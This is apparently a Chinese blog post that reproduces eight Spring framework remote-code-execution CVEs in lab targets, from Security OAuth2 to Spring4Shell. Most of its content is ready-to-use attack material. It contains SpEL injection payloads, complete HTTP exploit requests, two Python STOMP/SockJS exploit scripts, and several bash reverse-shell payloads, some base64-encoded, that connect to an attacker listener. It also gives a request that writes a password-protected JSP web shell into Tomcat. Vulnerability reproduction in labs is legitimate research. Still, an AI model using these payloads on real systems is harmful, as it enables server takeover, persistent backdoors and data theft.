【漏洞复现】Spring 系列漏洞复现(全漏洞版本)

零、Spring 框架简介

Spring 是一个开源的Java 平台,用于企业级Java 应用开发。Spring 框架因其灵活性、易用性和强大的社区支持而广受好评,是构建企业级Java 应用的首选框架之一。

一、Spring Security OAuth2 远程代码执行RCE漏洞(CVE-2016-4977)

1、漏洞原因

Spring Security OAuth2 是Spring框架中提供安全认证支持的一个模块。在处理请求过程中如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,进而造成SpEL注入。攻击者通过构造response_type值可以触发远程代码执行漏洞。

2、影响版本

  • Spring Security OAuth 2.0到2.0.14
  • Spring Security OAuth 2.1到2.1.1
  • Spring Security OAuth 2.2到2.2.1
  • Spring Security OAuth 2.3到2.3.2

3、漏洞复现

1、靶场首页

image-20240521173035003

2、访问/oauth/authorized

默认账号密码:admin:admin

image-20240521174542972

3、添加请求参数response_type

1
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

image-20240521174848661

4、上POC

1
2
3
4
5
6
7
8
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'
print(poc)

image-20240521175616193

二、Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

1、漏洞原因

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

在订阅酒店功能处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。

所以漏洞条件有两个:

  1. binder节点为空;
  2. useSpringBeanBinding 默认值(false)未修改。

2、影响版本

Spring WebFlow 2.4.0 - 2.4.4

3、漏洞复现

1、首页

image-20240522134021757

2、点击左上角进行登陆

用给的账号密码进行登陆

image-20240522134136178

3、访问hotels/1 的酒店

image-20240522134433756

image-20240522134552636

抓包Confirm的POST请求。由于是存在token 的,所以这里使用重放是无法复现的,需要现抓改包

image-20240522134638988

4、上POC

1
2
3
4
5
//1、创建文件
&_(new+java.lang.ProcessBuilder("touch","/tmp/1.txt")).start()=vulhub

//2、反弹shell
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub

image-20240522135429106

进容器查看

image-20240522135555083

三、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

1、漏洞原因

Spring Data REST 服务器在处理 PATCH 请求时,攻击者可以构造恶意的 JSON 格式的 PATCH 请求并发送给spring-date-rest 服务器,来执行恶意的Java代码。

2、影响版本

  • Spring Data REST 版本 < 2.5.12、 2.6.7、 3.0 RC3
  • Spring Boot 版本 < 2.0.0M4
  • Spring Data release trains Kay-RC3 之前的版本

3、漏洞复现

1、首页

image-20240522142110867

2、漏洞点在/customers/1

image-20240522142308657

3、抓包上POC

需要把要执行的命令转成ASCII,这里借助python脚本

1
2
3
4
# Payload to ASCII
payload = b'touch /tmp/shell.txt'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

修改数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PATCH /customers/1 HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "0"
If-Modified-Since: Wed, 22 May 2024 06:13:21 GMT
Connection: close
Content-Type: application/json-patch+json
Content-Length: 209

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,104,101,108,108,46,116,120,116}))/lastname", "value": "vulhub" }]

image-20240522143442157

反弹shell 的POC,可讲命令替换成如下:

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

四、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

1、漏洞原因

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

2、影响版本

  • Spring Framework 5.0 到 5.0.4
  • Spring Framework 4.3 到 4.3.14

3、漏洞复现

1、首页

image-20240523155822790

2、上exp

创建/tmp/1.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)

def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)

def send(self, command, headers, body=''):
data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")

def __del__(self):
self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/1.txt')",
'id': 'sub-0',
'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)

image-20240523160413486

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
from asyncio.constants import LOG_THRESHOLD_FOR_CONNLOST_WRITES
import requests
import random
import string
import time
import threading
import logging
import sys
import json
import base64

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)

def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)

def send(self, command, headers, body=''):
data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")

def __del__(self):
self.session.close()

def main():
sockjs = SockJS(url)
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo," + command.decode('utf-8') + "}|{base64,-d}|{bash,-i}')",
'id': 'sub-0',
'destination': subscribe_dest
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': send_dest
}, data)


if __name__ == "__main__":
url = 'http://1:8080/gs-guide-websocket'
subscribe_dest = '/topic/greetings'
send_dest = '/app/hello'
lhost = '127.0.0.1'
lport = '9999'
command = base64.b64encode('bash -i >& /dev/tcp/{}/{} 0>&1'.format(lhost,lport).encode('utf-8'))
main()

五、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

1、漏洞原因

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

2、影响版本

  • Spring Data Commons 1.13 到 1.13.10
  • Spring Data Commons 2.0 到 2.0.5

3、漏洞复现

1、首页

image-20240523161850728

2、漏洞点注册页面/users

image-20240523161933560

3、漏洞复现

注册并抓包

1
[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/1.txt")]

image-20240523162044363

写入成功

image-20240523162203362

六、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

1、漏洞原因

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

2、影响版本

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 旧的、不受支持的版本也会受到影响

3、漏洞复现

1、首页

image-20240523165110802

2、添加一个恶意请求的路由。POST请求/actuator/gateway/routes/pentest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: xx.xx.xxx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

image-20240523165722503

3、刷新路由,触发表达式

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20240523165843602

4、查看回显

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20240523171313927

5、删除路由

1
2
3
4
5
6
7
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

七、Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

1、漏洞原因

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

2、影响版本

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

3、漏洞复现

post 请求/functionRouter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /functionRouter HTTP/1.1
Host: xx.xx.xx.xx:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/1.txt")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


image-20240523180738617

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /functionRouter HTTP/1.1
Host: xx.xx.x.xx:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


八、Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)

1、漏洞原因

在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行。

然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。可修改tomcat 日志存储路径与后缀,向日志中写入jsp

2、影响版本

  • Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本

3、漏洞复现

1、首页

image-20240523193634539

2、添加参数:name=admin&age=123

image-20240523193724442

3、上poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: xx.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495; JSESSIONID=CF57B4777BD071833A15E58A4845A84D
Connection: close

该poc改变Tomcat 日志为``tomcatwar.jsp`,如下执行命令

1
http://xxx.xx.x.x:8080/tomcatwar.jsp?pwd=j&cmd=id